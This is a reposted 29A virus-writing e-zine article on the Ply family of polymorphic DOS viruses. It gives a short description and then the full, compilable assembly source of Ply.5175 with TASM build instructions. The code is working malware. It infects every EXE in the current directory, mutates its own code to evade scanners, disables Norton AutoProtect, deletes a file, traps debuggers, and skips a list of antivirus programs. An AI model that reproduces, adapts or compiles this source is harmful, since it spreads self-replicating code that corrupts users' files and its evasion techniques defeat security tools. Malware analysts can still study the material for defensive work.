Copy Link
Add to Bookmark
Report

29A Issue 02 04 10

eZine's profile picture
Published in 
29A
 · 4 years ago

  

Ply family
ÄÄÄÄÄÄÄÄÄÄ
These are dangerous nonmemory resident parasitic viruses. They search for
all EXE files in the current directory, then write themselves to the end of
the file.

The viruses are not encrypted, but they look as polymorphic viruses. Their
codes in different infected files have very few constant bytes, and as a
result there is no constant scan string to detect these viruses. To do that
the viruses use quite complex engine that "mixes" the code in the virus
body.

The viruses contain three blocks: block of main code, block of data, block
of redirected calls.

ÚÄÄÄÄÄÄÄÄÄÄ¿
³Main Code ³
³ ³
³----------³
³Data ³
³----------³
³Redirected³
³Calls ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÙ

All assembler instructions in the Main Code are not more that 3 bytes of
length, and all instructions occupy three bytes in the virus code. If the
length of instruction is less than 3 bytes, free bytes contain NOP
instructions. As a result all instructions in the viruses occupy 3-bytes
blocks.

While infecting a file the viruses "move" the instructions in the 3-bytes
block, if there is NOP command:

8C C8 MOV AX,CS <ÄÄ> 90 NOP
90 NOP 8C C8 MOV AX,CS

There are also the data that contain 6-bytes blocks to copy the instructions
to Redirected Calls and replace them with CALL or JMP commands:

Replaced with CALL Replaced with JMP Original code
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄ
E8 xx xx CALL Ä¿ <ÄÄ> E9 xx xx JMP Ä¿ <ÄÄ> 90 NOP
... <ijÄÄÄ¿ ... <ijÄÄÄ¿ 8C C8 MOV AX,CS
... ³ ³ ... ³ ³
... V ³ ... V ³
8C C8 MOV AX,CS ³ 8C C8 MOV AX,CS ³ <marked as free
90 NOP ³ 90 NOP ³ block>
C3 RET ÄÄÄÙ E9 xx xx JMP back ÄÙ

So, any instruction can be shifted in the 3-bytes blocks, it can be copied
to random selected address in the virus and then replaced with CALL or JMP
command, and existing CALLs and JMPs redirectors can be replaced with
original code. No byte is encrypted, and there are very few constant bytes
to detect the virus.

Such complex engine is not bugs-free, and the viruses often corrupt the
files while infecting them.

The viruses check the names of the files before infecting them, and do not
infect the files:

"Ply.4224,4722":

AVP AVPLITE AVPVE EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN TBAV
TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM TBSETUP
TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE.

"Ply.5133":

AVP AVPLITE AVPVE EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN TBSCAN
TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG TBMEM
TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VPIC VSAFE.

"Ply.5175":

AVP AVPLITE AVPVE BAIT EICAR EMM386 F-PROT FV386 FV86 MSAV MVTOOL10 SCAN
TBSCAN TBAV TBCHECK TBCLEAN TBDISK TBDRIVER TBFILE TBGENSIG TBKEY TBLOG
TBMEM TBSETUP TBSCANX TBUTIL VALIDATE VIRSTOP VIRUS VPIC VSAFE

"Ply.4722,5133,5175" delete the \NCDTREE file, if it exists.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PLY_5175.ASM]ÄÄ
comment *
Ply.5175
Disassembly by
Darkman/29A

Ply.5175 is a 5175 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.5175 has an error handler, anti-heuristic techniques,
anti-debugging techniques, retro structures and is polymorphic in file by
using its internal polymorphic engine.

To compile Ply.5175 with Turbo Assembler v 4.0 type:
TASM /m PLY_5175.ASM
TLINK /t /x PLY_5175.OBJ
*

.model tiny
.code
org 100h ; Origin of Ply.5175

code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop

mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop

sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop

mov ax,2020h
mov si,(4e41h-2020h) ; Disable AutoProtect and NAVTSR
add si,ax ; " " " "
nop
mov di,(4e55h-2020h) ; " " " "
add di,ax ; " " " "
nop
add ax,(0fe02h-2020h) ; " " " "
int 2fh
nop

mov ax,20e0h
add ax,(4100h-20e0h) ; Delete file
lea dx,_ncdtree ; DX = offset of _ncdtree
add dx,bp ; Add delta offset
nop
int 21h
nop

xor ax,ax ; Zero AX
nop
mov ds,ax ; DS = segment of interrupt table
nop
mov si,(2fh*04h) ; SI = offset of interrupt vector 24h
lea di,int2f_addr ; DI = offset of int2f_addr
add di,bp ; Add delta offset
nop
mov cx,04h ; Move four bytes to int2f_addr
rep movsb ; Move interrupt vector 2fh to int...
nop

mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop

mov ax,1202h ; Get interrupt address
mov dx,24h ; Get interrupt address of interru...
call int2f_simula

mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop

mov ax,(24h*04h) ; AX = offset of interrupt vector 24h
cmp bx,ax ; Debugging?
nop
je prepare_exit ; No debugging? Jump to prepare_exit
nop

mov ax,(3501h-2020h) ; Get interrupt vector 01h
add ax,2020h
call int21_simula

lea di,int01_off ; DI = offset of int01_off
add di,bp ; Add delta offset
nop
mov [di],bx ; Store offset of interrupt 01h
nop

mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop

mov ax,(2501h-2020h) ; Get interrupt vector 01h
add ax,2020h
lea dx,int01_virus ; DX = offset of int01_virus
add dx,bp ; Add delta offset
nop
call int21_simula
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop

mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop

lea si,poly_begin ; SI = offset of poly_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = " " "
nop
xor al,ah ; AL = " " "
nop
and al,00011111b ; AL = random number between zero ...
nop

push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop

cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop

mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop

mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop

mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...

cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop

and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop

mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop

mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop

mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop

cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop

and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode

mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop

mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop

mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop

and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop

call get_poly_off

mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop

mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop

in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop

in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop

mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop

mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate

mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop

mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop

mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16

mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop

mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop

mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP

in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number

in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop

mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop

mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop

and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop

call get_poly_off

mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop

mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop

mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop

mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop

mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate

mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop

mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop

mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16

mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop

mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop

mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP

in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number

in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop

mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop

dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop

jmp poly_loop
poly_exit:
jmp set_dta_addr
nop

get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop

mov ax,di ; AX = 16-bit random number within...
nop

add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop

lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop

mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop

ret ; Return!
nop
nop
endp
set_dta_addr:
mov ah,2fh ; Get disk transfer area address
nop
int 21h
nop
push bx ; Save BX at stack
nop
nop
mov ax,es ; ES = segment of disk transfer area
nop
push ax ; Save AX at stack
nop
nop

mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop

mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop

mov ax,3524h ; Get interrupt vector 24h
int 21h
nop
push bx ; Save BX at stack
nop
nop
mov ax,es ; ES = segment of interrupt 24h
nop
push ax ; Save AX at stack
nop
nop

mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop

mov ax,2524h ; Get interrupt vector 24h
lea dx,int24_virus ; DX = offset of int24_virus
add dx,bp ; Add delta offset
nop
int 21h
nop

xor ax,ax ; Zero AX
nop
mov ds,ax ; DS = segment of interrupt table
nop
mov si,(2ah*04h) ; SI = offset of interrupt vector 2ah
lodsw ; AX = offset of interrupt 2ah
nop
nop
push ax ; Save AX at stack
nop
nop
lodsw ; AX = segment of interrupt 2ah
nop
nop
push ax ; Save AX at stack
nop
nop
lea ax,int2a_virus ; AX = offset of int2a_virus
add ax,bp ; Add delta offset
nop
mov [si-04h],ax ; Set interrupt offset 2ah
mov ax,cs ; AX = code segment
nop
mov [si-02h],ax ; Set interrupt segment 2ah

mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop

mov ax,(4e00h-2020h) ; Find first matching file
add ax,2020h
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop

mov bx,dx ; BX = offset of file_specifi
nop
mov al,'E'
nop
mov [bx+02h],al ; Correct the file specification

jmp find_first
nop
find_next:
mov ax,(4f00h-2020h) ; Find next matching file
add ax,2020h
find_first:
int 21h
nop
jnc examine_name ; No error? Jump to examine_name
nop

xor ax,ax ; Zero AX
nop
mov es,ax ; ES = segment of interrupt table
nop
mov di,(2ah*04h) ; DI = offset of interrupt vector 2ah
pop bx ; Load BX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
stosw ; Set interrupt offset 2ah
nop
nop
mov ax,bx ; AX = segment of interrupt 2ah
nop
stosw ; Set inerrupt segment 2ah
nop
nop

mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop

pop ax ; Load AX from stack
nop
nop
mov ds,ax ; DS = segment of interrupt 24h
nop
pop dx ; Load DX from stack
nop
nop
mov ax,2524h ; Set interrupt vector 24h
int 21h
nop

mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop

pop ax ; Load AX from stack
nop
nop
mov ds,ax ; DS = segment of disk transfer area
nop
pop dx ; Load DX from stack
nop
nop
mov ax,(1a00h+2020h) ; Set disk transfer area address
sub ax,2020h
mov dx,80h ; DX = offset of default disk tran...
int 21h
nop

mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop

jmp virus_exit
examine_name:
mov al,'V'
nop
mov [bx+02h],al ; Correct the file specification

push di ; Save DI at stack
nop
nop
lea si,table_begin ; SI = offset of table_begin
add si,bp ; Add delta offset
nop
lea di,filename ; DI = offset of filename
add di,bp ; Add delta offset
nop
next_name:
mov bx,si ; BX = offset within table
nop
lodsb ; AL = size of filename
nop
nop
cmp al,00h ; End of table?
nop
je open_file ; Equal? Jump to open_file
nop

mov ah,00h ; AX = size of filename
nop
mov cx,ax ; CX = " " "
nop
add bx,cx ; BX = offset of next filename
nop
inc bx ; BX = " " " "
nop
nop

push di ; Save DI at stack
nop
nop
rep cmpsb ; Compare filename with filname in...
nop
pop di ; Load DI from stack
nop
nop
je jmp_fnd_nxt ; Equal? Jump to jmp_fnd_nxt
nop

mov si,bx ; SI = offset of next filename
nop

jmp next_name
nop
jmp_fnd_nxt:
pop di ; Load DI from stack
nop
nop

jmp find_next
open_file:
pop di ; Load DI from stack
nop
nop

lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop

mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov bx,ax ; BX = file handle
nop

mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop

mov ah,3eh ; Close file
nop
int 21h
nop

mov ax,('ZM'+2020h) ; EXE signature
sub ax,2020h
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop

xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_fnd_nxt_:
jmp find_next
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_fnd_nxt_ ; Equal? Jump to jmp_fnd_nxt_
nop

mov ax,(4301h-2020h) ; Set file attributes
add ax,2020h
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop

mov ax,(3d02h-2020h) ; Open file (read/write)
add ax,2020h
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov bx,ax ; BX = file handle
nop

mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop

mov ax,(4000h-2020h) ; Write to file
add ax,2020h
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop

mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop

mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop

sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov cx,dx ; CX = low-order word of filesize ...
nop
lea bx,entry_point-100h ; BX = offset of entry_point
add dx,bx ; Add offset of entry_point to low...
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment

lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],cx ; Store delta offset
nop

inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment

mov dx,cx ; DX = low-order word of filesize ...
nop
mov ax,(code_end-code_begin+0c0h)
add dx,ax ; DX = stack pointer
nop
mov ax,1111111111111110b
and dx,ax ; DX = " "
nop
mov [si+10h],dx ; Store stack pointer

mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark

pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit

mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop

mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop

mov ax,(4000h-2020h) ; Write to file
add ax,2020h
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop

mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop

mov ax,(4000h-2020h) ; Write to file
add ax,2020h
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop

mov ax,(5701h-2020h) ; Set file's date and time
add ax,2020h
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop

mov ah,3eh ; Close file
nop
int 21h
nop

mov ax,(4301h-2020h) ; Set file attributes
add ax,2020h
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop

jmp find_next
virus_exit:
mov ax,1202h ; Get interrupt address
mov dx,24h ; Get interrupt address of interru...
call int2f_simula

mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop

mov ax,(24h*04h) ; AX = offset of interrupt vector 24h
cmp bx,ax ; Debugging?
nop
je virus_exit_ ; No debugging? Jump to virus_exit_
nop

mov ax,3500h ; Get interrupt vector 00h
int 21h
nop

lea si,int01_off ; SI = offset of int01_off
add si,bp ; Add delta offset
nop
lodsw ; AX = offset of interrupt 01h
nop
nop
mov dx,ax ; DX = " " " "
nop

mov ax,es ; AX = segment of interrupt 00h
nop
mov ds,ax ; DS = " " " "
nop

mov ax,(2501h-2020h) ; Set interrupt vector 01h
add ax,2020h
int 21h
nop

mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
eternal_loop:
jmp eternal_loop
nop
virus_exit_:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop

mov cx,bx ; CX = " " " " " "
nop
add cx,10h ; CX = segment of beginning of code

lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop

add [si+02h],cx ; Add segment of beginning of code...
add cx,[si+04h] ; Add original stack segment to se...

cli ; Clear interrupt-enable flag
nop
nop
xor ax,ax ; Zero AX
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,cx ; SS = stack segment
sti ; Set interrupt-enable flag

push ax ; Save AX at stack

mov ds,bx ; DS = segment of PSP for current ...

db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment

stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer

int24_virus proc near ; Interrupt 24h of Ply.5175
mov al,03h ; Fail system call in progress

int01_virus proc near ; Interrupt 01h of Ply.5175
int2a_virus proc near ; Interrupt 2ah of Ply.5175
iret ; Interrupt return!
endp
endp
endp

int2f_simula proc near ; Simulate interrupt 21h
push dx ; Load DX from stack

pushf
db 9ah ; CALL imm32 (opcode 9ah)
int2f_addr dd ? ; Address of interrupt 2fh

pop dx ; Load DX from stack

ret ; Return!
endp

int21_simula proc near ; Simulate interrupt 21h
segcs ; Code segment as source segment
int 21h
nop

ret ; Return!
endp

db 00h
int01_off dw ? ; Offset of interrupt 01h
db 00h
entry_point:
jmp code_begin

file_specifi db '*.VXE',00h ; File specification
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
table_begin db 04h,'AVP.' ; AntiViral Toolkit Pro
db 08h,'AVPLITE.' ; AVPLite
db 06h,'AVPVE.' ; AVP Virus Encyclopedia
db 04h,'BAIT' ; Bait file
db 06h,'EICAR.' ; EICAR-ANTIVIRUS-TEST-FILE
db 07h,'EMM386.' ; Microsoft expanded memory manage...
db 07h,'F-PROT.' ; F-PROT
db 06h,'FV386.'
db 05h,'FV86.'
db 05h,'MSAV.' ; Microsoft Anti-Virus
db 09h,'MVTOOL10.'
db 05h,'SCAN.' ; McAfee ViruScan
db 07h,'TBSCAN.' ; Thunderbyte virus detector
db 05h,'TBAV.' ; Thunderbyte menu
db 08h,'TBCHECK.' ; TbCheck, Resident integrity checker
db 08h,'TBCLEAN.' ; Thunderbyte clean utility
db 07h,'TBDISK.' ; TbDisk, Disk guard
db 09h,'TBDRIVER.' ; TbDriver, TBAV TSR utilities
db 07h,'TBFILE.' ; TbFile, software guard
db 09h,'TBGENSIG.' ; TbGenSig, signature file compiler
db 06h,'TBKEY.' ; TbKey
db 06h,'TBLOG.' ; TbLog, TBAV automatic log utility
db 06h,'TBMEM.' ; TbMem, Memory guard
db 08h,'TBSETUP.' ; Thunderbyte software setup
db 08h,'TBSCANX.' ; TbScanX resident virus scanner
db 07h,'TBUTIL.' ; TbUtil
db 09h,'VALIDATE.' ; VALIDATE
db 08h,'VIRSTOP.' ; VIRSTOP
db 05h,'VIRUS' ; Bait file
db 05h,'VPIC.' ; Picture file viewer
db 06h,'VSAFE.' ; VSafe
db 00h
table_end:
db 00h,00h
_ncdtree db '\NCDTREE',00h
db 'PLY' ; Name of the virus
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:

end code_begin
